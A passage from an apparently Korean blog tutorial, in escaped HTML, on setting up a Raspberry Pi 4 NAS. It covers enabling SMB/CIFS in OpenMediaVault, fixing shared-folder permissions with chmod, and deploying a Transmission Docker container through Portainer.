&lt;blockquote data-ke-style=&quot;style3&quot;&gt;공유 폴더가 생성되었다면,&lt;br /&gt;폴더 공유를 위해&lt;br /&gt;SMB/CIFS를 활성화 해야합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;OMV 웹 페이지 &amp;gt; SMB/CIFS &amp;gt; 설정 &amp;gt; 활성화 &amp;gt; 저장 &amp;gt; 적용&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;413&quot; data-filename=&quot;이미지 17.png&quot; width=&quot;500&quot; height=&quot;295&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qybJc/btq91ORN1wE/vFHt49E24KqL6YyMtwKlH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qybJc/btq91ORN1wE/vFHt49E24KqL6YyMtwKlH0/img.png&quot; data-alt=&quot;SMB/CIFS 활성화&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qybJc/btq91ORN1wE/vFHt49E24KqL6YyMtwKlH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqybJc%2Fbtq91ORN1wE%2FvFHt49E24KqL6YyMtwKlH0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;413&quot; data-filename=&quot;이미지 17.png&quot; width=&quot;500&quot; height=&quot;295&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SMB/CIFS 활성화&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;조금(많이) 기다리면&lt;br /&gt;윈도우의 네트워크에서&lt;br /&gt;라즈베리파이를&lt;br /&gt;확인할 수 있습니다.&lt;br /&gt;&lt;br /&gt;접속해서 폴더를&lt;br /&gt;생성해야하는 데,&lt;br /&gt;&lt;u&gt;&lt;b&gt;권한이 필요하다고 하면&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;아래와 같이&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;SSH로 접속하여&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;권한을 추가&lt;/b&gt;&lt;/u&gt;해야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;SSH: root 계정 접속 &amp;gt; 공유된 디렉토리의 상위 디렉토리로 이동 &amp;gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;권한 추가: chmod a+w [공유 대상 디렉토리]&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;- 아래 스샷엔 x(실행 권한)으로 되어있으나 오타입니다.&lt;br /&gt;&amp;nbsp; w(수정 권한)이 맞습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;342&quot; data-filename=&quot;이미지 18.png&quot; width=&quot;500&quot; height=&quot;244&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkako4/btq97lOlOoi/Soi8GLGy6OTyFfCqjK3d2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkako4/btq97lOlOoi/Soi8GLGy6OTyFfCqjK3d2K/img.png&quot; data-alt=&quot;권한이 없습니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkako4/btq97lOlOoi/Soi8GLGy6OTyFfCqjK3d2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkako4%2Fbtq97lOlOoi%2FSoi8GLGy6OTyFfCqjK3d2K%2Fimg.png&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;342&quot; data-filename=&quot;이미지 18.png&quot; width=&quot;500&quot; height=&quot;244&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;권한이 없습니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;693&quot; data-origin-height=&quot;261&quot; data-filename=&quot;이미지 19.png&quot; width=&quot;500&quot; height=&quot;188&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHlGI/btq94rnXHzu/EaU4746XucKVafku2lK8p0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHlGI/btq94rnXHzu/EaU4746XucKVafku2lK8p0/img.png&quot; data-alt=&quot;수정 권한 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHlGI/btq94rnXHzu/EaU4746XucKVafku2lK8p0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHlGI%2Fbtq94rnXHzu%2FEaU4746XucKVafku2lK8p0%2Fimg.png&quot; data-origin-width=&quot;693&quot; data-origin-height=&quot;261&quot; data-filename=&quot;이미지 19.png&quot; width=&quot;500&quot; height=&quot;188&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;수정 권한 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이제 공유폴더에 재접속한 후,&lt;br /&gt;다시 폴더를 생성하면&lt;br /&gt;됩니다.&lt;br /&gt;&lt;br /&gt;해당 폴더들도 위와 마찬가지로&lt;br /&gt;권한을 추가해줍니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;240&quot; data-filename=&quot;이미지 20.png&quot; width=&quot;500&quot; height=&quot;171&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v9sWG/btq935dYBtE/JBs7Ox5x48g484cKXtank0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v9sWG/btq935dYBtE/JBs7Ox5x48g484cKXtank0/img.png&quot; data-alt=&quot;폴더 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v9sWG/btq935dYBtE/JBs7Ox5x48g484cKXtank0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv9sWG%2Fbtq935dYBtE%2FJBs7Ox5x48g484cKXtank0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;240&quot; data-filename=&quot;이미지 20.png&quot; width=&quot;500&quot; height=&quot;171&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;폴더 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;273&quot; data-filename=&quot;이미지 21.png&quot; width=&quot;500&quot; height=&quot;198&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs82sZ/btq91Neh5Ox/WKNtBlJbtQZXgx3Ow6bcKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs82sZ/btq91Neh5Ox/WKNtBlJbtQZXgx3Ow6bcKk/img.png&quot; data-alt=&quot;수정 권한 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs82sZ/btq91Neh5Ox/WKNtBlJbtQZXgx3Ow6bcKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs82sZ%2Fbtq91Neh5Ox%2FWKNtBlJbtQZXgx3Ow6bcKk%2Fimg.png&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;273&quot; data-filename=&quot;이미지 21.png&quot; width=&quot;500&quot; height=&quot;198&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;수정 권한 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Docker Container 생성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이제 Portainer에서&lt;br /&gt;transmission의 container를&lt;br /&gt;생성합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Portainer &amp;gt; Containers &amp;gt; Add container&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;293&quot; data-filename=&quot;이미지 22.png&quot; width=&quot;500&quot; height=&quot;209&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRwc9U/btq98vpqqEw/YoK8eOPYHb1fdQKZMGSIOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRwc9U/btq98vpqqEw/YoK8eOPYHb1fdQKZMGSIOk/img.png&quot; data-alt=&quot;Contaier 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRwc9U/btq98vpqqEw/YoK8eOPYHb1fdQKZMGSIOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRwc9U%2Fbtq98vpqqEw%2FYoK8eOPYHb1fdQKZMGSIOk%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;293&quot; data-filename=&quot;이미지 22.png&quot; width=&quot;500&quot; height=&quot;209&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Contaier 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;* 중요:&lt;br /&gt;21.07.20 현재&lt;br /&gt;최신 버전의 transmission은&lt;br /&gt;토렌트 다운이 안되는 현상이 있기 때문에,&lt;br /&gt;&lt;u&gt;&lt;b&gt;구버전의 transmission(3.00-r0-1s75)으로&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;설치&lt;/b&gt;&lt;/u&gt;해야합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Name: 자유&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Image: linuxserver/transmission:3.00-r0-1s75&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;publish a new network port(Docker 외부와 포트 바인딩)&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- transmission 웹 페이지: 9091 -&amp;gt; 9091 TCP&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- 토렌트 다운로드용 포트: 51413 -&amp;gt; 51413 TCP&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- 토렌트 다운로드용 포트:&amp;nbsp;51413 -&amp;gt; 51413 UDP&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;755&quot; data-origin-height=&quot;672&quot; data-filename=&quot;이미지 24.png&quot; width=&quot;500&quot; height=&quot;445&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOfSzb/btq99mFNaPk/0CDGEucg7fe4fRkBsyGro1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOfSzb/btq99mFNaPk/0CDGEucg7fe4fRkBsyGro1/img.png&quot; data-alt=&quot;Container 설정-1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOfSzb/btq99mFNaPk/0CDGEucg7fe4fRkBsyGro1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOfSzb%2Fbtq99mFNaPk%2F0CDGEucg7fe4fRkBsyGro1%2Fimg.png&quot; data-origin-width=&quot;755&quot; data-origin-height=&quot;672&quot; data-filename=&quot;이미지 24.png&quot; width=&quot;500&quot; height=&quot;445&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Container 설정-1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;아래로 내려와서&lt;br /&gt;위에서 생성한 디렉토리들과&lt;br /&gt;Docker 내의 디렉토리를&lt;br /&gt;연결(Bind)해야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Volumes &amp;gt; + map additional volume &amp;gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- /config -&amp;gt; [공유된 디렉토리]/config (Bind, Writable)&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- /watch -&amp;gt; [공유된 디렉토리]/watch&lt;u&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Bind, Writable)&lt;/b&gt;&lt;/u&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- /downloads -&amp;gt; &amp;nbsp;[공유된 디렉토리]/downloads&lt;u&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Bind, Writable)&lt;/b&gt;&lt;/u&gt;&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;409&quot; data-filename=&quot;이미지 26.png&quot; width=&quot;500&quot; height=&quot;265&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9WKnR/btq96EHqbWp/6L33kmMNmkKLbZ8GkQ7ka1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9WKnR/btq96EHqbWp/6L33kmMNmkKLbZ8GkQ7ka1/img.png&quot; data-alt=&quot;디렉토리 바인딩&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9WKnR/btq96EHqbWp/6L33kmMNmkKLbZ8GkQ7ka1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9WKnR%2Fbtq96EHqbWp%2F6L33kmMNmkKLbZ8GkQ7ka1%2Fimg.png&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;409&quot; data-filename=&quot;이미지 26.png&quot; width=&quot;500&quot; height=&quot;265&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;디렉토리 바인딩&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이번엔 환경변수를&lt;br /&gt;설정합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Env &amp;gt; + add environment variable&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- PUID &amp;gt; 65534(Nobody)&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- PGUID &amp;gt; 100(라즈베리파이 users 그룹)&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- TZ &amp;gt; Asia/Seoul&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;402&quot; data-filename=&quot;이미지 27.png&quot; width=&quot;500&quot; height=&quot;261&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNAdKW/btq92xI28KC/mpEalqMskmTVRoTjxjCsPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNAdKW/btq92xI28KC/mpEalqMskmTVRoTjxjCsPk/img.png&quot; data-alt=&quot;환경변수 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNAdKW/btq92xI28KC/mpEalqMskmTVRoTjxjCsPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNAdKW%2Fbtq92xI28KC%2FmpEalqMskmTVRoTjxjCsPk%2Fimg.png&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;402&quot; data-filename=&quot;이미지 27.png&quot; width=&quot;500&quot; height=&quot;261&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;환경변수 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;끝으로 재부팅 정책을 설정하고&lt;br /&gt;Deploy(배포) 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Restart policy &amp;gt; Unless stopped&lt;br /&gt;&amp;gt; Deploy the container&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;br /&gt;- &lt;u&gt;&lt;b&gt;no&lt;/b&gt;&lt;/u&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;프로세스가 종료되더라도 컨테이너를 재시작하시 않습니다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;- &lt;u&gt;&lt;b&gt;on-failure&lt;/b&gt;&lt;/u&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;프로레스&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;exit code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;가&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;0&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이 아닐 때 재시작합니다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&amp;nbsp;지정하지 않으면 계속해서 컨테이너를 재시작 합니다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;u&gt;&lt;b&gt;always&lt;/b&gt;&lt;/u&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;프로세스의&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;exit code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;와는 관계없이 재시작 합니다.&lt;br /&gt;- &lt;u&gt;&lt;b&gt;unless-stopped&lt;/b&gt;&lt;/u&gt;:&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;부팅시 자동으로 컨테이너를 재시작 합니다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;296&quot; data-filename=&quot;이미지 28.png&quot; width=&quot;500&quot; height=&quot;192&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baluWF/btq99m6RYId/AIWRQG2AB0Ik30IhHp45h0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baluWF/btq99m6RYId/AIWRQG2AB0Ik30IhHp45h0/img.png&quot; data-alt=&quot;재부팅 정책 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baluWF/btq99m6RYId/AIWRQG2AB0Ik30IhHp45h0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaluWF%2Fbtq99m6RYId%2FAIWRQG2AB0Ik30IhHp45h0%2Fimg.png&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;296&quot; data-filename=&quot;이미지 28.png&quot; width=&quot;500&quot; height=&quot;192&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;재부팅 정책 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치는 끝났으니,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 설정을 해줘야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
